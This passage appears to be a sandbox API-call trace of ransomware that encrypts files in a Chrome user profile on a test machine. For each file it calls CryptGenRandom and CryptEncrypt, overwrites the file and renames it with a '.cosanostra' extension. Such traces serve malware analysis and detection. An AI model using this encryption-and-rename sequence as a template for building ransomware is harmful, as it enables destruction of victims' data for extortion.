halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log.cosanostra")) returned 1 [0084.247] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbe8 | out: pbBuffer=0x26ffbe8) returned 1 [0084.247] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbe0*=0x30) returned 1 [0084.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.248] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 113 [0084.248] StrStrW (lpFirst="LOCK", lpSrch=".txt") returned 0x0 [0084.248] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.248] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ffba4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffba4*=0x0, lpOverlapped=0x0) returned 1 [0084.248] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.248] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbe4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffba4, lpOverlapped=0x0 | out: lpBuffer=0x26ffbe4*, lpNumberOfBytesWritten=0x26ffba4*=0x4, lpOverlapped=0x0) returned 1 [0084.249] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffba4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffba4*=0x30, lpOverlapped=0x0) returned 1 [0084.249] CloseHandle (hObject=0x178) returned 1 [0084.249] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock.cosanostra")) returned 1 [0084.249] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbe0 | out: pbBuffer=0x26ffbe0) returned 1 [0084.249] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbd8*=0x30) returned 1 [0084.249] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.250] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 116 [0084.250] StrStrW (lpFirst="CURRENT", lpSrch=".txt") returned 0x0 [0084.251] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffff0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.251] WriteFile (in: hFile=0x178, lpBuffer=0x2f4ea0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x26ffb9c, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesWritten=0x26ffb9c*=0x10, lpOverlapped=0x0) returned 1 [0084.251] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.251] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb9c, lpOverlapped=0x0 | out: lpBuffer=0x26ffbdc*, lpNumberOfBytesWritten=0x26ffb9c*=0x4, lpOverlapped=0x0) returned 1 [0084.251] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb9c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb9c*=0x30, lpOverlapped=0x0) returned 1 [0084.251] CloseHandle (hObject=0x178) returned 1 [0084.251] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current.cosanostra")) returned 1 [0084.252] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbe0 | out: pbBuffer=0x26ffbe0) returned 1 [0084.252] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbd8*=0x30) returned 1 [0084.252] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.253] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 119 [0084.253] StrStrW (lpFirst="000003.log", lpSrch=".txt") returned 0x0 [0084.253] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.253] WriteFile (in: hFile=0x178, lpBuffer=0x2f4ea0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ffb9c, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesWritten=0x26ffb9c*=0x0, lpOverlapped=0x0) returned 1 [0084.253] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.253] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb9c, lpOverlapped=0x0 | out: lpBuffer=0x26ffbdc*, lpNumberOfBytesWritten=0x26ffb9c*=0x4, lpOverlapped=0x0) returned 1 [0084.254] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb9c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb9c*=0x30, lpOverlapped=0x0) returned 1 [0084.255] CloseHandle (hObject=0x178) returned 1 [0084.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log.cosanostra")) returned 1 [0084.255] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbd8 | out: pbBuffer=0x26ffbd8) returned 1 [0084.255] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbd0*=0x30) returned 1 [0084.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.256] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 91 [0084.256] StrStrW (lpFirst="index", lpSrch=".txt") returned 0x0 [0084.279] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.279] WriteFile (in: hFile=0x178, lpBuffer=0x2f4ea0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffb94, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesWritten=0x26ffb94*=0x2800, lpOverlapped=0x0) returned 1 [0084.279] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.279] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb94, lpOverlapped=0x0 | out: lpBuffer=0x26ffbd4*, lpNumberOfBytesWritten=0x26ffb94*=0x4, lpOverlapped=0x0) returned 1 [0084.280] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb94, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb94*=0x30, lpOverlapped=0x0) returned 1 [0084.280] CloseHandle (hObject=0x178) returned 1 [0084.281] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index.cosanostra")) returned 1 [0084.283] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbd0 | out: pbBuffer=0x26ffbd0) returned 1 [0084.283] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbc8*=0x30) returned 1 [0084.283] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.283] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 111 [0084.284] StrStrW (lpFirst="MANIFEST-000001", lpSrch=".txt") returned 0x0 [0084.284] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffffd7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.285] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x26ffb8c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffb8c*=0x29, lpOverlapped=0x0) returned 1 [0084.285] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.285] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb8c, lpOverlapped=0x0 | out: lpBuffer=0x26ffbcc*, lpNumberOfBytesWritten=0x26ffb8c*=0x4, lpOverlapped=0x0) returned 1 [0084.285] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb8c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb8c*=0x30, lpOverlapped=0x0) returned 1 [0084.285] CloseHandle (hObject=0x178) returned 1 [0084.285] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001.cosanostra")) returned 1 [0084.286] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbd0 | out: pbBuffer=0x26ffbd0) returned 1 [0084.286] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbc8*=0x30) returned 1 [0084.286] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.286] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 99 [0084.286] StrStrW (lpFirst="LOG", lpSrch=".txt") returned 0x0 [0084.287] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.287] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0x26ffb8c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffb8c*=0x9a, lpOverlapped=0x0) returned 1 [0084.287] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.287] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb8c, lpOverlapped=0x0 | out: lpBuffer=0x26ffbcc*, lpNumberOfBytesWritten=0x26ffb8c*=0x4, lpOverlapped=0x0) returned 1 [0084.287] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb8c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb8c*=0x30, lpOverlapped=0x0) returned 1 [0084.287] CloseHandle (hObject=0x178) returned 1 [0084.287] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log.cosanostra")) returned 1 [0084.288] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbc8 | out: pbBuffer=0x26ffbc8) returned 1 [0084.288] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbc0*=0x30) returned 1 [0084.288] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.288] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 100 [0084.288] StrStrW (lpFirst="LOCK", lpSrch=".txt") returned 0x0 [0084.288] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.289] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ffb84, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffb84*=0x0, lpOverlapped=0x0) returned 1 [0084.289] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.289] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb84, lpOverlapped=0x0 | out: lpBuffer=0x26ffbc4*, lpNumberOfBytesWritten=0x26ffb84*=0x4, lpOverlapped=0x0) returned 1 [0084.289] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb84, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb84*=0x30, lpOverlapped=0x0) returned 1 [0084.290] CloseHandle (hObject=0x178) returned 1 [0084.290] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock.cosanostra")) returned 1 [0084.290] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbc8 | out: pbBuffer=0x26ffbc8) returned 1 [0084.290] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbc0*=0x30) returned 1 [0084.290] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.290] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 103 [0084.290] StrStrW (lpFirst="CURRENT", lpSrch=".txt") returned 0x0 [0084.291] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffff0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.291] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x26ffb84, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffb84*=0x10, lpOverlapped=0x0) returned 1 [0084.291] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.292] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb84, lpOverlapped=0x0 | out: lpBuffer=0x26ffbc4*, lpNumberOfBytesWritten=0x26ffb84*=0x4, lpOverlapped=0x0) returned 1 [0084.292] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb84, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb84*=0x30, lpOverlapped=0x0) returned 1 [0084.292] CloseHandle (hObject=0x178) returned 1 [0084.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current.cosanostra")) returned 1 [0084.292] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbc0 | out: pbBuffer=0x26ffbc0) returned 1 [0084.292] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbb8*=0x30) returned 1 [0084.292] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.292] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 106 [0084.292] StrStrW (lpFirst="000003.log", lpSrch=".txt") returned 0x0 [0084.307] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffb53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.307] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x4ad, lpNumberOfBytesWritten=0x26ffb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffb7c*=0x4ad, lpOverlapped=0x0) returned 1 [0084.307] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.307] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb7c, lpOverlapped=0x0 | out: lpBuffer=0x26ffbbc*, lpNumberOfBytesWritten=0x26ffb7c*=0x4, lpOverlapped=0x0) returned 1 [0084.307] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb7c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffb7c*=0x30, lpOverlapped=0x0) returned 1 [0084.307] CloseHandle (hObject=0x178) returned 1 [0084.308] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.cosanostra")) returned 1 [0084.308] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbc0 | out: pbBuffer=0x26ffbc0) returned 1 [0084.309] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbb8*=0x30) returned 1 [0084.309] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 